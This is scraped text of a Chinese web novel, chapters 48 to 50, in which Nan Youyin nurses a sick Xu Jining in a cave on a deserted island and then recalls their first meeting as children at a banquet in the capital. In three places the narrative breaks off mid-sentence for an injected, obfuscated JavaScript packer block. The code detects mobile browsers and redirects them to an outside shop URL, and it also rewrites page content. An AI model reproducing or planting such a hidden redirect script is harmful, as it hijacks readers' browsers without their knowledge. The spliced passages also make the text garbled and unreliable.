南有音坐在洞口,吃着野果解渴,注视着月光下辽阔无垠的黑色海洋。 她无法忘记岸边林老汉的尸体,那种恐惧始终萦绕在她的心头。 她想起了阮鸣鸥也曾动过杀心,或许只差那么一点,她与徐寂宁就同林老汉一样,成为荒岛无人知晓的腐尸了。 “徐寂宁,”她低着头,声音很闷,“你说永安王是什么样的人,好人?还是坏人?他在鲁蝶岛上藏着这么多兵甲,是逆贼,可是他又爱民如子,百姓那样爱戴他,却要为了他杀人。” 徐寂宁不知道该怎么回答南有音的问题,因为他自己也不清楚,他只是说道:“有音,我毕竟是朝廷的官员,是要在皇帝的立场上。” 南有音摇摇头,又继续问道:“可是皇帝是好是坏呢?” 在孤岛上无人听得到她大逆不道的言论:“皇帝就是要杀永安王,不管他对百姓好不好,也不管咱们能不能找到他谋逆的证据,他也更不管你的死活。” 徐寂宁嗓子有点干,嘶哑道:“有音,做臣子的为陛下尽忠是理所当然的。” “可是你不是说为官者当修身为民,”南有音似乎很是茫然,她缓缓说道,“你看岭南的百姓,他们不愿当天子的百姓,宁愿做永安王的奴婢,徐寂宁,你说如果为了百姓,真的应该听皇帝的吗?” 南有音又道:“我爹说百官都是皇帝手里的剑,挥向天下的剑,我问我爹,天下都是哪里,他悄悄跟我说是天下是百姓万民,我又问他,你也当官儿,难道也是皇帝刺向百姓的剑,他没有回答我。那徐寂宁,你呢?” 徐寂宁又被问住了,他张了张口,却不知道该说些什么,他在圣贤书里读到过要忠君爱民,他全然没有想到过两者会有冲突的时候。 他也疑惑过皇帝硬要给永安王按上一个大逆不道的罪名是为什么,是为了让岭南也归顺京城使得江山与皇位永固呢,还是真的为了岭南的百姓呢。 徐寂宁很难想明白,就像他想不明白他的衙署同事纷纷在度田一事造假一样,他想不明白他们在京城,皇帝的眼皮底下怎还能如此胆大妄为。 二哥却说皇帝知道那些人的贪赃枉法,他不信,说皇帝若是知道,怎么不惩罚,二哥却笑了,对他说道:“过去你跟静祺总爱说我是书呆子,但依我看,这个家里最大的书呆子是你,最不适合当官的也是你。” 他不服气,问二哥为什么,二哥说他只知道圣贤书里那些冠冕堂皇的道理,不知道什么叫权术,更不清楚现实与当今圣上究竟是怎样的人。 徐寂宁思绪万千,南有音也一样的心绪不宁,她仰头看着天上的月亮,呆呆地想起阮鸣鸥说得“只有有情人才能看同一轮月亮”,她将视线挪到繁星之中,找到北斗星,然后又去找那颗飞鸥星。 她不知道阮鸣鸥如今怎样,在海上亦或是靠岸了,心里是后悔淌进了鲁蝶岛的浑水,还是自豪有了一份王府的差事,这些她都无从知晓。 她没能在天上找到那颗飞鸥星。 夜色越来越深,她渐渐困了,在徐寂宁身边躺下,徐寂宁翻来覆去的,她问他怎么了,他说没什么,于是她盯就着他,最终他投降了,支支吾吾说手很疼。 黑暗中她看不清他被毛虫扎了的手是什么样子了,她摸索着摸了一下,徐寂宁却痛得打哆嗦。 她很是抱歉,但徐寂宁宽慰她道:“没事,等我睡着了就感觉不到疼了。” 南有音不知道怎么办,就与徐寂宁随便说说话,想要让他的注意力不要放在手上,但她实在是累,话语很快就变成困倦的呢喃了。 她蜷缩着身体,离徐寂宁很近,她睡得很不安稳,梦见了海边那具尸体,在梦里尸体忽然站了起来,责怪她把他带进了死路,她害怕极了,拼命的逃跑,在即将被抓住时,徐寂宁叫醒了她。 “你做噩梦了?” 南有音出了一身的汗,她喘着粗气,竭力平复心情。 她把梦告诉徐寂宁,而后害怕地看向洞口,生怕那具尸体真的会变成僵尸来追她。 徐寂宁温声道:“不要怕,只是梦而已。” 南有音很困,但在快要睡着时,她又强迫自己醒过来。 徐寂宁关切问:“你怎么啦?” “我怕。”南有音小声道,她朝徐寂宁的方向蜷缩地更厉害了,既害怕睡着后又做噩梦,又害怕海岸的尸体真的会趁她睡着走进这个洞穴。 徐寂宁向她保证道:“如果你又做噩梦,我会叫醒你的。” “那尸体……” “那只是一个梦,”徐寂宁安抚性地摸了摸南有音的额头,“如果它真的走过来,我也能听见,所以,安心睡吧。” 南有音还是没有抵挡住困意睡了过去,但她睡得并不好,周遭是嗡嗡作响的蚊虫,她时不时就会被吵醒,后半夜她醒来发现徐寂宁不见了,惶恐不安顿时包围了她,但徐寂宁很快就回来了,她问他去哪儿了,徐寂宁脸色在月光下很是苍白,说他起夜。 徐寂宁回来后,南有音又安心的睡了,在南有音又一次被蚊子咬醒时徐寂宁又不见了,这次她等了好久,无比害怕会有僵尸出现,她害怕地缩成一个团,紧紧盯着洞穴门口。 洞穴口传来了一些声响,现实一道被月光拉得很长的影子投入,然后是非常沉重拖沓的脚步声。 南有音吓得捂住嘴巴不敢出声,不过很快她就又放松下来。 徐寂宁出现在洞口,他扶着洞穴的墙壁缓缓挪步子,脸色看上去更苍白了。 南有音问道:“你怎么啦?” 徐寂宁摇摇头,背对着南有音重新躺下了。 但没多久,他就又坐起来往外面走去。 “你要去哪里?”南有音有点害怕,立刻道,“我不想一个人呆着,我和你一起去。” 徐寂宁似乎有些窘迫,他捂着肚子,局促道:“有音,你跟着不方便……” 南有音瞬间明白了,有些讪讪道:“好吧,那你快点……” 后半夜徐寂宁几乎每隔一阵子就跑出去,天快要亮的时候,整个人已经近乎虚脱了,软绵绵的像是一团泡涨了的面条,面色发灰,抱着肚子,皱着眉头,紧紧闭着眼。 南有音疑心是徐寂宁脆弱的肠胃适应不了岛上的野果才至使腹泻的,起初她还拿京城的公子哥儿真是娇生惯养同徐寂宁开了开玩笑,但随着时间的推移,徐寂宁明显越来越虚弱,从一开始还能虚弱地回两句嘴,逐渐变得意识模糊,只剩下无意识的呻吟。 当南有音担忧地询问,而徐寂宁没有掩饰,小声从牙缝里挤出声音承认自己特别渴,肚子也特别痛时,南有音慌张起来了。 饶是她不通医术也知道,徐寂宁这种情况再找不到能喝的水真的会死掉。 “徐寂宁,你不要吓唬我呀!”南有音害怕极了,她希望徐寂宁能够逞强,说自己没事,安慰一下她。 但徐寂宁毫无反应,只有毫无血色的干裂嘴唇中发出一些没有意识的痛吟。 南有音急得在洞穴里走来走去,她先出去搜找有没有水源。 岛上天色昏暗灰黄,海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐寂宁微弱的“嗯”了一声,在南有音的一通折腾下半睁开眼,他已经渴到意识不到渴,连张嘴吞咽的力气都没有了,南有音捧到他嘴边的水只润了润他干裂的嘴唇,然后就滑进了他的脖颈衣领。 “徐寂宁,你快点喝水呀?”南有音一时急得有些哭腔,“你不要死了啊!” 她想尽办法往徐寂宁嘴里灌水,最后只是搞得徐寂宁领子上掺杂着她的泪水的水渍越来越多。 南有音咬着嘴唇哭了一小会儿,自己嗓子也像是冒烟一样痛,她喝了几口雨水,雨水划过她的喉咙如同刀割,她忽然又冒出一个想法。 她低头喝了一大口水,含在嘴里,然后趴在徐寂宁身上,她用舌头挤进徐寂宁的唇瓣,不断深入。 她与徐寂宁紧紧贴着,她的两颊感受到徐寂宁急促燥热的鼻息,有些发痒,她的舌头分碰到一个滚烫柔软的物体,是徐寂宁的舌头,她与他缠绕着,她将口中的水一点一点渡给徐寂宁。 水滴从她与徐寂宁的唇角滑落,渡完一口水,她立刻起身,又含住一口水,再次俯身,逐渐熟练地用舌头分开徐寂宁唇瓣…… “唔……” 在她也不知道渡了第几口水时,徐寂宁喉咙里发出细微的声音。 她起身,两人的唇间拉扯出透明的细丝。 “有音……”徐寂宁的声音很小,几乎淹灭在洞穴外的大雨声中。 “徐寂宁,你现在感觉怎么样了?” 徐寂宁感受到脸颊湿漉漉的,其中不止是他与南有音口腔中纠缠的液体,还有南有音的泪水。 “有音,别哭啦……”他虚弱地睁开眼,只看到一个眼圈红红的姑娘守在他身边,脏兮兮的脸上被泪水滑出一道白痕。 他很少见到她哭,总觉得不适应,他想抬手抹去她的眼泪,但浑身没有一点力气,他望着那双蒙着一层水雾的眼睛,只能轻轻道:“有音,对不起……” 49. 缘起 或许是南有音渡的水起了效果,到了下午,徐寂宁渐渐地好转了,恢复了意识,只是面色仍旧惨白,一只手按着肚子,时不时咬一下嘴唇,偶尔控制不住从唇边溢出几丝痛吟。 “徐寂宁,你很难受吗?”南有音坐在他身边,捕捉到他呼吸中痛苦的气息。 “嗯……”徐寂宁确实很难受,甚至没有力气思考与掩饰,低声回答道,“不光肚子像是被刀搅,而且手也很疼,还有,我感觉有点冷。” 徐寂宁有些发烧,荒岛上没有床铺被褥,南有音别无他法,只好躺在徐寂宁身边,伸出手揽住徐寂宁,尽量靠近他,问道:“这样会好一点吗?” 她没办法解决肚子痛手疼的问题,只好希望徐寂宁能觉得暖和点。 “有音……”被南有音圈在怀里的姿势让徐寂宁感到局促,南有音太近了,她的呼吸都吹在他的脖子上,搞得他脸红了。 南有音也觉得跟徐寂宁靠得太近,这个姿势有些过于暧昧了,她嘟囔道:“朋友之间一般不会这样,但非常时期,嗯……也就这样吧。” 虽然两人都有一点不自在,但南有音的办法似乎确实有点用,徐寂宁感受到身边温暖□□的热量,渐渐好像也没有那么冷了,身体接触所带来的的一些微妙使得他有几分不知所措。 接着他就听到南有音沙哑的声音:“徐寂宁,你的心怎么跳的这么快。” 徐寂宁不知道该怎么回答,南有音似乎也没有想要得到答案,她活动了几下,调整到一个还算舒服的姿势,有些困顿道:“我有点累了,眯一会儿,你又什么事就叫我。” 在后半夜与一大早一阵兵荒马乱之后,南有音紧绷的神经终于松了下来,在洞穴外沙沙雨声与徐寂宁心脏跳动的声音中,她很快就睡过去了。 淅淅沥沥的雨水带来了夏季不曾有过的清凉,南有音于睡梦中感到了冷,缩起身体,下意识向出了她之外唯一的热源靠近。 她不断地往徐寂宁的怀里蹭,徐寂宁犹豫一番,揽住了她。 徐寂宁静静注视着怀中姑娘的睡颜,看了很久。 虽然他与南有音不乏同床共枕的时刻,但他很少认真观察她的睡颜,他发现她的睡着时周身气质柔和了很多,不太像一株繁茂的树了,而是像开满了花,花瓣在微风中漂浮洒落的树。 这次南有音睡得很安宁,没有再做噩梦,徐寂宁也被她传染了困意,也听着簌簌而下的雨声,迷迷糊糊地睡着了。 徐寂宁再次醒来时雨已经停了,天空也放晴,正中央挂着一轮月亮。 他一睁开眼,就看到南有音又趴在他的胸膛,听他的心跳。 见他醒了,南有音似乎松了一口气:“你终于醒啦,已经后半夜了。” “嗯。”徐寂宁感觉虽然脑袋昏昏沉沉的,但身上舒服了很多,他也惊讶于自己竟昏睡了那么久。 他睡了太久,无法再次入睡了,就与南有音随便闲聊打发时间。 南有音正在吃野果充饥,她仰头看着洞穴外边的圆月亮,突兀地说道:“月亮一定是葱油饼味的。” 她很饿,光靠吃野果显然让她的身体逐渐虚弱了。 “等我们离开这座岛,我要吃好多葱油饼,而且必须是爹亲自下厨烙的,”南有音继续说道,“徐寂宁,你还没有尝过我爹的手艺呢,之前你太挑食了,我猜你咽不下去,但现在你变得好多了,下次再去我家,说什么也要你尝尝!” “好呀。”徐寂宁顺从地答应,心里却忧虑是否会有那么一天,他与南有音真的有什么办法脱困吗? 南有音似乎也想到了这一点,而她的解决方案就是求神拜佛,让徐寂宁有些哭笑不得。 南有音闭上眼睛,双手合十,口中喃喃祈祷道:“月亮月亮,可怜可怜我们吧,拜托你跟各路神仙说一声,请他们帮帮忙,放我们回家吧……” 从一些名气很大的神仙,一直到什么徐寂宁闻所未闻的村口狐狸庙的狐仙,南有音挨个唠叨了一遍。 徐寂宁觉得有点好笑,问道:“这样真的有用吗?” 南有音理所当然道:“当然有用,你昏过去的时候我拼命求老天想想办法,结果你猜怎么着?” 南有音脸上挂着一种劫后余生般的灿烂笑容:“然后就下雨啦,你喝了水就好多了。心诚则灵,多求一求神仙们肯定没错!” 徐寂宁猛然想起他昏昏沉沉间,曾听见南有音带着哭腔地祈求老天,他还记得那几声颤抖的呜咽,只一回想便一片酸楚。 “有音,对不起……”他又一次轻声说道,他几乎有些恨自己除了这句话什么也做不到。 “你怎么总是道歉?”南有音却问道,“你什么都没有做错呀。” “只是觉得这一路我总是连累你……”徐寂宁认真说道,“我事事都要靠你,却又什么忙都帮不上,如今你被困在这座岛上,也是因为我的缘故……” 他恨自己无能为力,平生第一次也想相信鬼神之说了,他想请求老天不要把南有音困在岛上,因为他不想她受他的连累。 南有音却说道:“怎么会是你的缘故呢,我说过了,我们是朋友,那我自然要与你同甘共苦,何况——” 南有音抿了一下嘴,似乎有些伤心:“何况现在这样也是我自己选的,还记得吗,我过去非常喜欢你,所以才愿意嫁给你——” 她又叹了口气:“可是你变了太多了,完全不是我第一次见到你时的模样了,搞得我总后悔嫁给你……” “不过现在也还好,”她语气上扬了一点儿,显得没那么沉重,“跟你当朋友也还挺不错,至少你出手总是很阔绰,还会鼓励我写话本子,无聊的时候还能跟我说说话。” 徐寂宁努力搜寻他的记忆,想回忆起他与南有音第一次见面是什么情形,但他只感到脑袋发胀,昏昏沉沉的,像是顶着千斤重的石头,什么也没回想起来。 “我不记得第一次和你见面是什么时候了。”徐寂宁实话实说道。 “我当然看得出来,”南有音语气里不禁带着责备,“但是你也从来没有问过我。这一点总让我觉得玉振说得很对,其实你并不在乎我。” “我……”徐寂宁没法说点什么,片刻后他还是低声问道,“有音,可以给我说说我们初次见面吗?” 每每提起提及与徐寂宁的初遇,至今仍会让南有音觉得心尖震颤。 “我们第一次见面的时候啊……”南有音伸手去拉徐寂宁的右手,“像这样,你握住了我的手。” 徐寂宁却立刻把手从南有音手里抽走了,过于迅速的动作使得他手心剧痛,使得他两道细眉皱起了,身上也出了一层冷汗。 见南有音似乎对他的动作有些不满,他立刻小声解释道:“有音,还是不要看了,怪恶心的。” 一天过去了,他的手心没有丝毫好转,只风一吹就像是剥皮一样的疼,其中长满了密密麻麻的紫红小疙瘩与大大小小的黑斑,流淌着淡黄色的脓水,他自己看了都觉得头皮发麻,瘆得慌。 “我不会嫌弃的,”南有音认真道,“说起来你也不记得了,我们第一次见面时,你是唯一一个没有嫌弃我的人。” 南有音与徐寂宁第一次相见是在一个冬天,那时南有音与南玉振刚被南氏夫妇领养,到京城没几天,出于种种考虑,南晨颂在官署举办了一场宴会,在宴会上他向世人宣布南有音与南玉振是他与妻子的孩子,并希望两个孩子的身份能得到大家的认可。 那一天小小宴会去了很多达官显贵,但他们显然不是冲着南晨颂来的。 南晨颂成亲多年无子,一直对外宣称自己有隐疾无法生育,但他在朝中没什么地位,连他的笑话大家都懒得看,更不关心那两个凭空冒出来的孩子,达官显贵涌入穷酸的小宴会的目标只有一个——徐朗,高门徐氏的独子,是南晨颂的同僚,会出席南晨颂的宴会。 前任礼部尚书病逝,朝廷传来风声,皇帝要将被贬的徐朗调回中央任职。六部尚书可不是小官职,各派人马纷纷试探徐朗的意思,一窝蜂似得涌入了宴会。 当然大家面子功夫还是做足了,没忘了宴会是为了欢迎两个乡下孩子的到来,尽管非常随意,但参会者还是纷纷带上了贺礼,也顺便还带上了自己家的小孩,这倒不是为了迎合南晨颂的心思,让两个乡下娃娃多接触同龄人尽快融入京城圈子,而是因为大家听说徐家夫人也会带着孩子参加,便提早嘱咐好自家孩子要跟徐家的孩子打好交道。 宴会人很多,渐渐变成了官老爷们在酒席上推杯换盏,夫人们在火炉旁话家常,小孩子在后院的花园里吵闹玩耍。 南有音来自北地一个小到可怜的村落,同龄伙伴很少,她头一次见到这么多同龄人时特别开心,而且她发现他们打扮得干净又漂亮,衣服是绸缎的,领子镶着毛绒绒的白色兔毛,她还发现他们说话的腔调也非常文雅,轻声细气的,叫她很喜欢。 她在乡下听了不少乡里人关于京城的憧憬,连带着也对京城的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445809|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满好奇,她要拉着她新拥有的弟弟南玉振上前跟他们打招呼,但南玉振说他们不是好人,自己扭头跑了的同时也劝南有音也别过去。 “可是他们看上去很漂亮。”南有音喃喃道。 于是她主动往人堆里凑,跟他们说话。 她热情地同他们打招呼,跟他们讲好笑的事,却发现他们看着她的眼神很不对劲儿,就好像……在看一条流浪狗。 一个孩子嗤笑道:“喂,你在说什么呢,我怎么一句也听不懂。” 另一个孩子立刻说道:“我听我爹说过,有些未经开化的地方,那里的野人就这样,呜噜呜噜说些叫人听不懂的话。” 南有音立刻解释她刚来不久,她不是野人,只是还不会讲京城的官话。 但她每说一句话,就会引来一阵嘲笑。 很快诸如“乡巴佬”“下里巴人”的称号扣在了她的身上,她瞬间成了这些世家子弟嘲笑的对象。 有人在雪地里写下“乡巴佬”三个大字,她不认识,就问写了什么,大家先是一愣,大概想不到她十三岁还大字不识一个,接着就放肆嘲笑起来,说她真是蛮荒地的野人,有些爱卖弄的便故意说些经文书本上文绉绉的句子,叫她听不懂闹些笑话。 南有音有些急了,她不想被看轻,便说自己虽然不识字,但是会其他的,她说她会种菜,会喂猪杀鸡,会生火炉,也会砍柴做饭。 京城的公子小姐们先是沉默了,南有音说得这些他们确实不会,他们互相看看彼此,发现大家都不会种菜做饭之后反而觉得没什么了不起的了,接着有人小声说了一句“这些事不都是家里的下人才干的吗”,大家登时都跟着附和,说什么乡下人果然没有文化,只会干些粗活。 南有音更着急了,但她还是希望在人群里能交到一个朋友,她在乡下都是一个人流浪,没人爱搭理她,她盼着到了京城会有所改变。 于是她急切地问大家平时都做什么,想找到一点共同语言。 孩子们有人说弹琴,有人说作画,有人说下棋,还有人说马球投壶之类的,南有音一个也不会。 人群里有人交头接耳道:“乡下人果然什么都不会。” 南有音焦急地扣手,四处搜寻有什么可以证明她不是一无是处的,她的视线停在雪地,指着洁白的雪说道:“我可以把雪做成花的样子。” 果然众人好奇起来,大家会堆雪人滚雪球,但不会把雪做出花的样子,大家围到她身边,想看看她说得是真是假。 南有音蹲在雪地上,抓起一团雪,用两只手将雪挤压成薄片用来做花瓣,她很开心大家对这个感兴趣,还热心的讲解该怎么操作。 “咦,你们看!”围观的一个孩子忽然叫道,“她的手怎么是那个样子,好吓人!” 南有音的手上布满了冻疮,南夫人天天给她擦药,但一直没好,五根手指颜色紫红,粗糙肿胀,像是胡萝卜,上面布满大大小小的伤痕血痂,还有因为刚刚玩雪太痒,被她新抠破正渗血的伤口。 有孩子低头看了一眼自己白皙洁净的手,又看了一眼南有音的,叫到:“好恶心。” 人群中纷纷附和:“真的好恶心!” 南有音蹲在地上咬着嘴唇,一时不知道该把手放在哪里了。 她小声解释道这些伤是因为在乡下流浪,总是接触凉水的缘故,但没人在意她说得,只是又因她的口音发出了几声嘲笑。 接着有孩子道:“咱们还是别笑了,多少可怜可怜她吧——” 南有音抬起头露出惊喜的目光,终于有人愿帮她说句话了。 但未等她找到声音的主人,那个声音就不怀好意地笑了一声,嘲讽道:“毕竟她不识字,那双手只能种地和喂猪,干些粗活,唉,乡巴佬哟……” 大家发出了一阵笑声,好像种地和喂猪是多么滑稽的事一样。 南有音气得胸膛一起一起的,她意识到他们是故意针对她,仅仅因为她是乡下来的。 她虽然不识字,但她可以叫出他们叫不出的庄稼名字,她知道怎么喂养一头小猪,但他们只知道吃,而且她的手明明很不舒服,他们却还这样嘲笑她。 她顿时觉得她在京城也不会有朋友了,还是会像在乡下一样遭人嫌弃,她也不想跟他们玩了,蹲在雪地里窝成一团,堵住耳朵,不去听众人的笑声。 而这时人群忽然安静了,一个少年从人群中走出,站在了她的身边,太阳将他的影子投在了她的身上。 50. 因由 “你要做什么?”南有音眼神很是警惕,她认为这些穿着绫罗绸缎的人对她不怀好意。 站在她面前的少年很困惑,像是没听懂她在说什么。 她重复了一遍刚才的话。 但少年只是伸出两只手,像是要拉她起来。 她有些犹豫,磨磨蹭蹭地伸出手,在五根紫红色的手指即将触碰到少年的手时停下了,少年的手细腻白皙,她有点不敢碰。 但少年毫不嫌弃的主动握住了她的手。 她有些忐忑,不知道这会不会是什么恶作剧,但少年只是轻轻地拉着她站了起来,对她温和道:“雪地里太凉了。” 少年的手心很温暖,这一点温度是南有音今天唯一感受到的善意。 “谢谢!”南有音真诚地笑了,眼睛弯弯的。 少年也礼貌地微微笑了一下,他的五官非常清秀,像是昨夜新雪一样干净。他一笑,两只细长的眼睛里像是藏着什么一样宝石一样,看起来亮晶晶的。 这时孩子里有人说话了:“徐寂宁,这就是那个乡下来的丫头,不会说官话,也不认字,可好笑啦!” 南有音又有些生气了,她也担心这个新来的名字叫什么徐寂宁的少年知道了她的出身,是不是也要跟那些孩子一样嘲笑她,毕竟他身上也穿着绫罗绸缎,甚至看起来比其他人身上的更精致考究。 但徐寂宁却说道:“我听说这场宴会就是为了他们姐弟两个才举办的。” 少年的话让南有音顿时想起了自己出现在这里的原因,于是她开口对众人说:“你们来是为了欢迎我和弟弟,为什么光在这里排挤我?” 人群里的一个孩子笑出了声:“我们来又不是为了见乡巴佬。” 他对旁边的人说道:“之前我见到她弟弟了,好矮一个小男孩,我向他问路,他的口音比他姐还要重,我一个字也没听懂。” 那孩子模仿了几句南玉振的口音,惹得大家一阵嬉笑。 南有音很生气,原来南玉振早被嘲笑了一番,难怪刚才她想拉着南玉振跟大伙儿熟悉熟悉,南玉振说什么也不让,自己一溜烟跑了 。 那个孩子还在不断模仿南玉振的口音,越来越夸张,众人也笑得越来越厉害,前扑后倒的。 南有音气极了,脸颊涌出了一团红色,她很想揍人,右手握成拳头举了起来,却思虑到南夫人教导她要当文静的淑女,她不想让温柔的夫人失望,于是又放下了去。 但她的举动已经被众人收到眼底了,有人叫道:“果然是乡下来的,就是粗野。” 又有人说:“徐寂宁,别呆在她身边,小心她会咬人,她身上一股子下人的柴火味儿,你来跟我玩儿,我大哥前天刚给我买了新弹弓。” 一个人起头,人群里纷纷传出了邀请徐寂宁玩的声音。 南有音发现那帮嘲笑自己的人好像都想接近徐寂宁,这让她觉得更加愤怒了,他们嘲笑她,却讨好徐寂宁,凭什么她就低人一等。 她火冒三丈,问徐寂宁:“你跟他们是一伙的吗?” 她话音刚落,人群中立刻传来一阵笑声,又是笑她浓重的口音。 但徐寂宁没有笑,反而一脸的茫然:“呃,你说什么?” 他的眼底一片澄澈,南有音确信他没有恶意,又说道:“你要不要和我一起玩?” 徐寂宁茫然沉默。 南有音将徐寂宁的沉默理解为了默认,于是不由分说地拉着徐寂宁离开人群,离开时冲着那几个笑话她最厉害的人冷哼一声,似乎在表达你们不跟我玩可真是亏大了。 南有音叽叽喳喳同徐寂宁说话,但徐寂宁始终一脸茫然,终于,南有音意识到他沉默的原因了——他压根听不懂她说的话。 她一时倍感怏然,很无奈地叹了口气。 虽然听不懂南有音的口音,但叹气还是能听懂,徐寂宁问道:“你怎么啦?” 南有音放慢了语速:“你是不是听不懂我说些什么?” 徐寂宁竭力分辨,叫她又重复慢慢说了几遍,在她咄咄逼人的目光下有点窘迫道:“其实你说慢一点我也能听懂。” 南有音眨眨眼,露出一个非常灿烂的笑容。 她今天遇到了同龄人里,徐寂宁是唯一一个没有嘲笑她的。 她与徐寂宁交换了姓名,但徐寂宁似乎始终没从她的口音中分辨出听懂她究竟叫什么,她正发愁,忽然迎面碰上了南夫人。 她立刻拉着徐寂宁跑过去,告诉南夫人自己刚刚交到了一个新朋友。 南夫人暗暗松了一口气,她偷偷从夫人们的茶话会溜出来就是为了找南有音与南玉振,她担心他们两个融入不了京城孩子,会受欺负。 她将目光从女儿身上挪到旁边的少年,小小地惊讶了一下,这次宴会男人围着徐朗,女人围着徐夫人,小孩自然就是围着徐家的孩子,她一时没想到徐家小少爷会出现在南有音身边。 “妈妈,只有他不笑话我,愿意跟我玩!”南有音很开心道,“你用官话告诉他我叫什么名字好不好,我说得话他听不太懂。” 南夫人答应了,对徐寂宁笑道:“她的名字呀,南有音,她有个小名读音是‘息生’,但不晓得那两个字,老爷说大音希声,就给她取名有音。” “南有音。”徐寂宁念了一遍,这三个字从他的唇齿依次划过,彼时的他并不会想到若干年后拥有这个名字的姑娘会成为他同床共枕的妻子。 “徐利盈。”南有音也说了一声他的名字。 她只是听那群同龄人说话时听到过这个愿意跟她玩的伙伴的名字,听得也不真切,便也喊得含糊,走音成了“徐利盈”。 南夫人听到后忍不住直笑,纠正了南有音是“寂宁”而非“利盈”,又说道:“论年纪,寂宁比你大一岁,你也该叫他一声哥哥。” “宁哥哥!”南有音立刻兴奋地叫道。 她没有兄弟姐妹,总是孤零零一个人,这时骤然多了个能叫哥哥的人,自然很高兴。 徐寂宁则有点不自在,他在家里排行最小,是哥哥姐姐们好言好语哄着的弟弟,他没太有当兄长的经验。 见南有音和徐寂宁相处地不错,南夫人算是放心了,又问道:“阿音有没有见到玉振?” 南有音摇摇头,她也不知道弟弟跑哪儿去了,南夫人担心南玉振受欺负,便说叫南有音与徐寂宁继续玩儿,想吃点心就去南厅,自己则去找小儿子了。 南有音和徐寂宁去了南厅,果真有很多点心,南有音吃了好多点心,但徐寂宁只吃了一口就放下了,他说点心不好吃,南有音觉得奇怪,彼时的她不晓得徐寂宁的舌头有多么娇贵,只惊讶有人竟能抵挡住甜甜点心的诱惑,最终将其归结于徐寂宁有些害羞,不好意思吃。 吃完点心,南有音又找到了一个竹匾,对徐寂宁说道:“我想到一个好玩的!” “你要做什么?”徐寂宁好奇。 “抓小鸟呀,”南有音快活道,“我有办法不用弹弓就能抓住小鸟。” 她带着徐寂宁跑到一片空旷的雪地上,洒上揉碎的点心渣,又用一根拴着绳子的树枝支起竹匾,之后两人牵着绳子的另一头躲到了远处的灌木中。 没过一会儿就有一只鸟落了下来,低头去啄雪地上的谷子,南有音瞅准时机,喊了一声:“拉绳子!” 徐寂宁没听懂南有音说了什么,但依旧配合得当,用竹匾扣住了一只小鸟。 徐寂宁没见过这种抓鸟的法子,倍感新奇,南有音说这种办法他们这些乡下小孩都会,洋洋得意道:“你看,和我一起玩不错吧。” 被困竹匾的可怜小鸟儿不停地发出凄厉鸣叫,两人最终还是放了鸟儿,南有音小心的掀开竹匾,小鸟拼命扑扇翅膀,卷起地上的雪,带着一阵风冲上了蓝天。 南有音与徐寂宁仰脸呆呆看着盘旋蓝天的小鸟,当小鸟身影消失时,又不约而同的看向对方。 南有音瞬间笑了,热情地直视徐寂宁,眼睛眼睛亮得惊人。 徐寂宁见惯了含蓄文雅,有点不适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445810|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应,脸有些发红。 南有音觉得徐寂宁是一个很好的玩伴,因为他善于听从她的指挥。放走小鸟之后,南有音又说玩雪,她原打算跟徐寂宁打雪仗,但两三个回合下来发现徐寂宁不堪一击,遂放弃。 因跑动而气喘吁吁的徐寂宁坐在凉亭休息,南有音则蹲在雪地旁,用手心将雪压成薄薄一片,然后一片一片固定在她随手捡来的小树枝上,在一通精细操作后,南有音鼻尖冒汗,手上也出现了一朵雪做成的花。 她立刻跑去送给徐寂宁了:“好看吧,你愿意和我玩,我会送你最漂亮的东西!” 她其实有些想要急于收买讨好徐寂宁的意思,她过去总是孤孤单单的,一直希望有个朋友,为此不想放过徐寂宁。 徐寂宁先是惊讶这朵雪做成的花精致漂亮,而后视线微微下移:“你的手——” 南有音手指上的口子又裂开了,正渗出红色是血液。 南有音咬住了嘴唇,她还是有点怕徐寂宁会像其他人一样说出让她伤心的话,毕竟徐寂宁也是穿着绫罗绸缎的人。 但徐寂宁却轻声道:“你的手是不是很痛?” 南有音一怔,还是把手藏到了身后:“还好啦,每年都会这个样子,没什么事,等到开春暖和就好了。” 徐寂宁摇摇头,小心地将花插到地上,又示意南有音坐在他身边,而后从怀里掏出一方手帕,捧起南有音藏在身后的手,垂眸轻柔擦拭她手上的雪水与血水,阳光照射在他的眼睫上,投下一片小小阴影。 指尖处传来的柔软触感让南有音手痒痒的,连带着心尖也痒痒的。她有点忐忑地低声道:“你不觉得我的手吓人吗?” 徐寂宁温和道:“不吓人,我只觉得你好像很痛。” 南有音有点感动:“谢谢你不像其他人一样嫌弃我。” 徐寂宁明显愣了一下。 南有音又有些伤心道:“可是大家为什么要笑话我和玉振,难道只是因为我们从乡下来的,不识字,不会讲官话,就……平白低人一等了?” 徐寂宁沉默了一会儿,最后还是说道:“有音,你没有低人一等,人也不分高低贵贱,乡下与京城并没有什么差别,你和我们也没什么不一样,只是他们太狭隘了,其实——” 徐寂宁的声音温柔而坚定,不轻不重地敲响了南有音心间的某个音符:“你已经够好了。” 南有音所受的委屈在这一刻都浮现了出来,忽然有人为自己说话,叫她鼻头一酸,险些眼泪汪汪。 